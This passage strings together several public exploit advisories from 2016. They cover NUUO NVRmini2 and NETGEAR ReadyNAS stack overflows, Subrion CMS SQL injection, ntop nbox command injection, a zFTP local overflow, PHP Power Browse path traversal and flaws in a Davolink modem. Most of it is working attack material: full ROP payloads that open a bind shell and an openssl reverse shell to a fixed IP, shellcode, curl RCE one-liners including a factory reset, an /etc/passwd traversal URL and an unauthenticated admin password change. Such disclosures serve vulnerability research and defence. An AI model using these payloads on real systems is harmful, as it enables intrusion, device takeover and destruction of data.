aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa44445555666677778888PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS

aaaa: filler
PPPP: pc / lr register content, offset 986
4444: r4 register content, offset 968
5555: r5 register content, offset 970
6666: r6 register content, offset 974
7777: r7 register content, offset 978
8888: r8 register content, offset 982
SSSS: start of stack pointer, offset 1002

> Exploit mitigations and constraints
The table below shows the exploit mitigation technologies for each target:
         NVRmini2   ReadyNAS
NX          Y          Y
RELRO    Partial    Partial
ASLR        N          Y

An additional constraint to keep in mind is that there can be no null bytes in the exploit as the vulnerability is in the sprintf copy operation (which uses a null byte as the string terminator).

> Exploitation in the NVRmini2 (firmware v3.0.0):
This example exploit creates a root bind shell on port 4444 using ROP gadgets to bypass NX. The gadgets were taken from libc-2.15.so, which is always loaded at 4066c000 in firmware 3.0.0.

0x00018ba0 : pop {r3, lr} ; bx lr -> located at 40684BA0 (first gadget, sets up r3 for the next gadget)
0x000f17cc : mov r0, sp ; blx r3 -> located at 4075D7CC (second gadget, set up args for system)
0x00039ffc : system() -> located at 406A5FFC (takes the argument from r0 - pointing to sp - and executes it)
Payload (in the stack) -> %6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26 ("nc -l -p 4444 -e /bin/sh &")

Illustration:
sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{first_gadget}aaaaaaaaaaaa{system()_address}{second_gadget}{stack}

Exploit for NVRmini2 firmware v3.0.0 ("sn" parameter value):
sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%a0%4b%68%40aaaaaaaaaaaa%fc%5f%6a%40%cc%d7%75%40%6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26

Other firmware versions will have different gadget addresses. On version 3.0.0 it should work without any modification.

> Exploitation on ReadyNAS Surveillance (version v1.1.2):
To develop this example exploit libcrypto.so.0.9.8 was used. The library is loaded at B6xxx000, where xxx are 4096 possible values for the memory address, as the ReadyNAS has a weak form of ASLR. For this exploit, B6CCE000 was chosen as the target base address (this was chosen randomly from a sample of collected base addresses).

The exploit connects a reverse shell to 192.168.133.204:4444 using OpenSSL. The following ROP gadgets were used:
0x000b3d9c : mov r1, sp ; mov r2, ip ; blx r6 -> located at B6D81D9C (first gadget, gets the location of the stack pointer sp, where the shellcode is located, in r1)
0x00008690 : movs r0, r1 ; movs r0, r0 ; movs r2, r2 ; movs r2, r1 ; bx r7 -> located at B6CD6691 as this is a THUMB mode gadget (second gadget, sets up the arguments to system(), putting them into r0)
0xb6ef91bc: fixed system() address when B6CCE000 is chosen as the base address of libcrypto.so.0.9.8 (takes the argument from r0 - pointing to sp - and executes it)
Payload: (in the stack) -> %6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26 ("mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.133.204:4444 > /tmp/s; rm /tmp/s &")

Illustration:
sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{second_gadget}{system_address}aaaa{first_gadget}aaaaaaaaaaaa{payload}

Exploit for ReadyNAS Surveillance v1.1.2 ("sn" parameter value):
sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%91%66%cd%b6%bc%91%ef%b6aaaa%9c%1d%d8%b6aaaaaaaaaaaa%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26

Note that due to the ASLR in the ReadyNAS his exploit has be attempted at few times in order for it to work. Usually less than 20 tries is enough to get the reverse shell to connect back.

> Local exploitation:
This vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command:
CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=<PAYLOAD>'
The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2.

It is likely that all other vulnerabilities in this advisory are exploitable by a local attacker, however this has only been tested for the stack buffer overflow.


>> Fix: 
NETGEAR and Nuuo did not respond to CERT/CC coordination efforts (see Timeline below), so no fix is available.
Do not expose any of these devices to the Internet or any networks with unstrusted hosts.

Timeline:
28.02.2016: Disclosure to CERT/CC.
27.04.2016: Requested status update from CERT - they did not receive any response from vendors.
06.06.2016: Requested status update from CERT - still no response from vendors.
            Contacted Nuuo and NETGEAR directly. NETGEAR responded with their "Responsible Disclosure Guidelines", to which I did not agree and requested them to contact CERT if they want to know the details about the vulnerabilities found. No response from Nuuo.
13.06.2016: CERT sent an update saying that NETGEAR has received the details of the vulnerabilities, and they are attempting to contact Nuuo via alternative channels.
07.07.2016: CERT sent an update saying that they have not received any follow up from both Nuuo and NETGEAR, and that they are getting ready for disclosure.
17.07.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn't receive a response or status update. No response received.
01.08.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn't receive a response or status update. No response received.
04.08.2016: Coordinated disclosure with CERT.


>> References:
[1] https://www.kb.cert.org/vuls/id/856152


================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business >>
HireHackking 
Document Title:
===============
Subrion v4.0.5 CMS - SQL Injection Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1893


Release Date:
=============
2016-08-04


Vulnerability Laboratory ID (VL-ID):
====================================
1893


Common Vulnerability Scoring System:
====================================
7


Product & Service Introduction:
===============================
Subrion is a full featured open source CMS written in PHP 5 & MySQL with many options. Here is the list of the most important features.
You don't need to pay a single penny to start using Subrion CMS. It's not encrypted in any way so you can customize it per your needs.
It's done to focus on the content management process. Start it hassle-free within just a few minutes and take care of the content.

(Copy of the Vendor Homepage: http://www.subrion.org/download/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a remote sql-injection vulnerability in the Subrion v4.0.5 content management system.


Vulnerability Disclosure Timeline:
==================================
2016-08-04: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Intelliants LLC
Product: Subrion - Content Management System (Web-Application) 4.0.5


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A remote sql-injection web vulnerability has been discovered in the Subrion v4.0.5 content management system.
The vulnerability allows remote attackers to execute own malicious sql commands to compromise the application or dbms.

The sql-injection vulnerability is located in the `query` and ` show_query` parameters of the `.database/sql/` module POST 
method request. Remote attackers are able to execute own sql commands by usage of the insecure sql management tool request. 
The attack vector of the vulnerability is application-side and the request method to inject is POST.

The security risk of the sql-injection vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.0.
Exploitation of the remote sql injection web vulnerability requires no user interaction and a low privileged web-application user account.
Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise.

Request Method(s):
				[+] POST

Vulnerable Module(s):
				[+] ./database/sql/

Vulnerable Parameter(s):
				[+] show_query
				[+] query


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers with privileged web-application user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


PoC: Exploitation
<html>
<head><body>
<title>Subrion CMS - Remote SQL Injection PoC</title>
<form action="http://subrion.localhost:8080/admin/database/sql/" method="post">
  <input query="-1'[SQL-INJECTION VULNERABILITY!]--" value="-1'[SQL-INJECTION VULNERABILITY!]--">
  <input show_query="-1'[SQL-INJECTION VULNERABILITY!]--" value="-1'[SQL-INJECTION VULNERABILITY!]--">
  <input exec_query="Go" value"Go"
  <button>Send POST Method Request</button>
</body></head>
</form>
</html>


POST /admin/database/sql/ HTTP/1.1
Host: http://subrion.localhost:8080
query=[SQL-INJECTION VULNERABILITY!]&show_query=[SQL-INJECTION VULNERABILITY!]&exec_query=Go


--- SQL Error Exception Logs ---
You have an error in your SQL syntax;
Check the manual that corresponds to your MySQL server version for the right syntax to use near 'command `extras`' at line 1}


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST /database/sql/ 
Mime Type[text/html]
   Request Header:
      Host[subrion.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Referer[/admin/database/sql/]
      Cookie[INTELLI_6321e8217b=f98078af3840ae5ba4a4800445924360; INTELLI_6321e8217b=f98078af3840ae5ba4a4800445924360; INTELLI_6321e8217b=f98078af3840ae5ba4a4800445924360; INTELLI_6321e8217b=f98078af3840ae5ba4a4800445924360; loader=loaded; INTELLI_a1ef1b4b28=63c87c36882a10136a627aea5a94a581; _ga=GA1.2.1118331789.1469788535; _gat=1]
      Connection[keep-alive]
   POST-Daten:
      __st[6a4bf637dc90a9d8dd203fff134f8140]
      query[-1'SQL-INJECTION VULNERABILITY!]
      show_query[-1'SQL-INJECTION VULNERABILITY!]
      exec_query[Go]
   Response Header:
      Date[Fri, 29 Jul 2016 10:38:22 GMT]
      Server[Apache]
      X-Powered-By[PHP/5.5.30]
      Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
      Set-Cookie[INTELLI_6321e8217b=f98078af3840ae5ba4a4800445924360; expires=Fri, 29-Jul-2016 11:08:22 GMT; Max-Age=1800]
      Vary[Accept-Encoding]
      Content-Length[5329]
      Content-Type[text/html]


Note: 	Use the permanent cookie to trigger the bug remotly on default setup without admin access credentials.
Cookie:	[f98078af3840ae5ba4a4800445924360] & [63c87c36882a10136a627aea5a94a581]


Reference(s):
http://subrion.localhost:8080/
http://subrion.localhost:8080/admin/
http://subrion.localhost:8080/admin/database/
http://subrion.localhost:8080/admin/database/sql/


Solution - Fix & Patch:
=======================
The sql-injection vulnerability can be patched by usage of a prepared statement in the sql database tool POST method request.
Parse and filter the parameter input of the query and show_query values. Disallow the usage of special chars to prevent further attacks.
Escape the entries to ensure the context is secure transmitted via POST method request.


Security Risk:
==============
The security risk of the remote sql-injection web vulnerability in the `query` and `show_query` parameters of the`/database/sql/`module is estimated high. (CVSS 7.0)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com] [http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, 
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, 
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised 
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com 		- www.vuln-lab.com 						- www.evolution-sec.com
Contact:    admin@vulnerability-lab.com 	- research@vulnerability-lab.com 				- admin@evolution-sec.com
Section:    magazine.vulnerability-lab.com 	- vulnerability-lab.com/contact.php 				- evolution-sec.com/contact
Social:	    twitter.com/vuln_lab		- facebook.com/VulnerabilityLab 				- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	- vulnerability-lab.com/rss/rss_upcoming.php 			- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	- vulnerability-lab.com/list-of-bug-bounty-programs.php 	- vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically 
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or 
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific 
authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@vulnerability-lab.com) to get a ask permission.

				    Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™



-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
HireHackking 
E-DB Note: Source ~ http://carnal0wnage.attackresearch.com/2016/08/got-any-rces.html

(The issues were found originally in nbox 2.3 and confirmed in nbox 2.5)



To make things easier, I created a Vagrantfile with provisioning so you can have your own nbox appliance and test my findings or give it a shot. There is more stuff to be found, trust me :)

https://github.com/javuto/nbox-pwnage 






*Replace NTOP-BOX with the IP address of your appliance (presuming that you already logged in). Note that most of the RCEs are wrapped in sudo so it makes the pwnage much more interesting:

RCE: POST against https://NTOP-BOX/ntop-bin/write_conf_users.cgi with parameter cmd=touch /tmp/HACK
  curl -sk --user nbox:nbox --data 'cmd=touch /tmp/HACK' 'https://NTOP-BOX/ntop-bin/write_conf_users.cgi'



RCE: POST against https://NTOP-BOX/ntop-bin/rrd_net_graph.cgi with parameters interface=;touch /tmp/HACK;
  curl -sk --user nbox:nbox --data 'interface=;touch /tmp/HACK;' 'https://NTOP-BOX/ntop-bin/rrd_net_graph.cgi'



RCE (Wrapped in sudo): GET https://NTOP-BOX/ntop-bin/pcap_upload.cgi?dir=|touch%20/tmp/HACK&pcap=pcap
  curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/pcap_upload.cgi?dir=|touch%20/tmp/HACK&pcap=pcap'



RCE (Wrapped in sudo): GET https://NTOP-BOX/ntop-bin/sudowrapper.cgi?script=adm_storage_info.cgi&params=P%22|whoami%3E%20%22/tmp/HACK%22|echo%20%22
  curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/sudowrapper.cgi?script=adm_storage_info.cgi&params=P%22|whoami%3E%20%22/tmp/HACK%22|echo%20%22'



RCE: POST against https://NTOP-BOX/ntop-bin/do_mergecap.cgi with parameters opt=Merge&base_dir=/tmp&out_dir=/tmp/DOESNTEXIST;touch /tmp/HACK;exit%200
  curl -sk --user nbox:nbox --data 'opt=Merge&base_dir=/tmp&out_dir=/tmp/DOESNTEXIST;touch /tmp/HACK;exit 0' 'https://NTOP-BOX/ntop-bin/do_mergecap.cgi'

There are some other interesting things, for example, it was possible to have a persistent XSS by rewriting crontab with a XSS payload on it, but they fixed it in 2.5. However the crontab overwrite (Wrapped in sudo) is still possible:

  GET https://NTOP-BOX/ntop-bin/do_crontab.cgi?act_cron=COMMANDS%20TO%20GO%20IN%20CRON

  curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/do_crontab.cgi?act_cron=COMMANDS%20TO%20GO%20IN%20CRON'



The last one is a CSRF that leaves the machine fried, by resetting the machine completely:

  GET https://NTOP-BOX/ntop-bin/do_factory_reset.cgi

  curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/do_factory_reset.cgi'



Modules for metasploit and BeEF will come soon. I hope this time the issues are not just silently patched...



If you have any questions or feedback, hit me up in twitter (@javutin)!



Have a nice day!
HireHackking 
# Exploit developed using Exploit Pack v5.4
# Exploit Author: Juan Sacco - http://www.exploitpack.com -
# jsacco@exploitpack.com
# Program affected: zFTP Client
# Affected value: NAME under FTP connection
# Where in the code: Line 30 in strcpy_chk.c
# __strcpy_chk (dest=0xb7f811c0 <cdf_value> "/KUIP", src=0xb76a6680 "/MACRO", destlen=0x50) at strcpy_chk.c:30
# Version: 20061220+dfsg3-4.1
#
# Tested and developed under:  Kali Linux 2.0 x86 - https://www.kali.org
# Program description:  ZFTP is a macro-extensible file transfer program which supports the
# transfer of formatted, unformatted and ZEBRA RZ files
# Kali Linux 2.0 package: pool/main/c/cernlib/zftp_20061220+dfsg3-4.1_i386.deb
# MD5sum: 524217187d28e4444d6c437ddd37e4de
# Website: http://cernlib.web.cern.ch/cernlib/
#
# gdb$ run `python -c 'print "A"*30'`
# Starting program: /usr/bin/zftp `python -c 'print "A"*30'`
# *** buffer overflow detected ***: /usr/bin/zftp terminated
# ======= Backtrace: =========
# /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x6c773)[0xb6fd1773]
# /lib/i386-linux-gnu/i686/cmov/libc.so.6(__fortify_fail+0x45)[0xb7061b85]
# /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0xfac3a)[0xb705fc3a]
# /lib/i386-linux-gnu/i686/cmov/libc.so.6(__strcpy_chk+0x37)[0xb705f127]
# /usr/lib/i386-linux-gnu/libpacklib.so.1_gfortran(csetup+0x1a4)[0xb7417864]
# /usr/lib/i386-linux-gnu/libpacklib.so.1_gfortran(csetup_+0x24)[0xb7418604]
# /usr/lib/i386-linux-gnu/libpacklib.so.1_gfortran(czopen_+0xd4)[0xb73f6d14]
# /usr/bin/zftp[0x804dc9b]

import os, subprocess

def run():
  try:
    print "# zFTP Client - Local Buffer Overflow by Juan Sacco"
    print "# This Exploit has been developed using Exploit Pack -
http://exploitpack.com"
    # NOPSLED + SHELLCODE + EIP

    buffersize = 100
    nopsled = "\x90"*30
    shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    eip = "\x40\xf3\xff\xbf"
    buffer = nopsled * (buffersize-len(shellcode)) + eip
    subprocess.call(["zftp ",' ', buffer])

  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, zFTP client- Not found!"
    else:
        print "Error executing exploit"
    raise

def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)

if __name__ == '__main__':
  try:
    print "Exploit zFTP Client -  Local Overflow Exploit"
    print "Author: Juan Sacco - Exploit Pack"
  except IndexError:
    howtousage()
run()
HireHackking 
# Exploit Title: PHP Power Browse v1.2 - Path Traversal
# Google Dork:
    intitle:PHP Power Browse inurl:browse.php
# Exploit Author: Manuel Mancera (sinkmanu)    |    sinkmanu (at) gmail
(dot) com
# Software URL: https://github.com/arzynik/PHPPowerBrowse
# Version: 1.2
# Vulnerability Type : Path traversal
# Severity : High

### Description ###

This file browser is vulnerable to path traversal and allow to an
attacker to access to files and directories that are stored outside the
web root folder.

### Exploit ###

http://site/browse.php?p=source&file=/etc/passwd
HireHackking 
===================================================================
Title: Unauthenticated admin password change
Product: Davolink modem
Tested model: DV-2051
Vulnerability Type: Missing Function Level Access Control [CWE-306]
Risk Level: High
Solution Status: No fix available
Discovered and Provided: Eric Flokstra
===================================================================

[-] About the Product:

The Davolink DV-2051 is an ADSL modem with 4 Fast Ethernet ports,
Wireless Access Point and VoIP (2 times FXS).

[-] Advisory Details:

Basic authentication is in place to authenticate the administrative user
against the web application. To change the administrator password the
old password must be provided, which is validated by JavaScript. By
intercepting a successful password reset request the JavaScript
validation can be bypassed. It was also noticed authorisation checks are
missing on the password reset functionality. Combining these
vulnerabilities enable unauthenticated users to change the admin
password with a single request.

[-] Proof of Concept:

The following request can be used to change the admin password to the
value ’FooBar’:

192.168.1.1/password.cgi?usrPassword=FooBar

========================================================
Title: Lack of CSRF protection
Product: Davolink modem
Tested model: DV-2051
Vulnerability Type: Cross-Site Request Forgery [CWE-352]
Risk Level: Medium
Solution Status: No fix available
Discovered and Provided: Eric Flokstra
========================================================

[-] About the Product:

The Davolink DV-2051 is a an ADSL modem with 4 Fast Ethernet ports,
Wireless Access Point and VoIP (2 times FXS).

[-] Advisory Details:

The web application enables users to set a password in order for clients
to connect to the SSID. Currently no measures against Cross-Site Request
Forgery have been implemented and therefore users can be tricked into
submitting requests without their knowledge or consent. From the
application's point of view these requests are legitimate requests from
the user and they will be processed as such. This can result in for
example changing the WPA2 password.

[-] Proof of Concept:

The following link can be used to trick a logged in user to set the WPA2
Pre Shared Key to ‘FooBar01’.

192.168.1.1/wlsecurity.wl?wlAuthMode=psk2&wlAuth=0&wlWpaPsk=FooBar01&wlWpaGtkRekey=0&wlNetReauth=36000&wlWep=disabled&wlWpa=tkip+aes&wlKeyBit=0&wlPreauth=0

===============================================================
Title: Multiple persistent Cross-Site Scripting vulnerabilities
Product: Davolink modem
Tested model: DV-2051
Vulnerability Type: Cross-Site Scripting [CWE-79]
Risk Level: Medium
Solution Status: No fix available
Discovered and Provided: Eric Flokstra
===============================================================

[-] About the Product:

The Davolink DV-2051 is a an ADSL modem with 4 Fast Ethernet ports,
Wireless Access Point and VoIP (2 times FXS).

[-] Advisory Details:

The web application enables users to add virtual servers to direct
incoming traffic from WAN side to an internal server with a private IP
address on the LAN side. It was noticed insufficient validation is
performed on several places such as the ‘srvName’ parameter which is
sent with the request when adding a new virtual server. This
vulnerability makes it possible to remotely execute arbitrary scripting
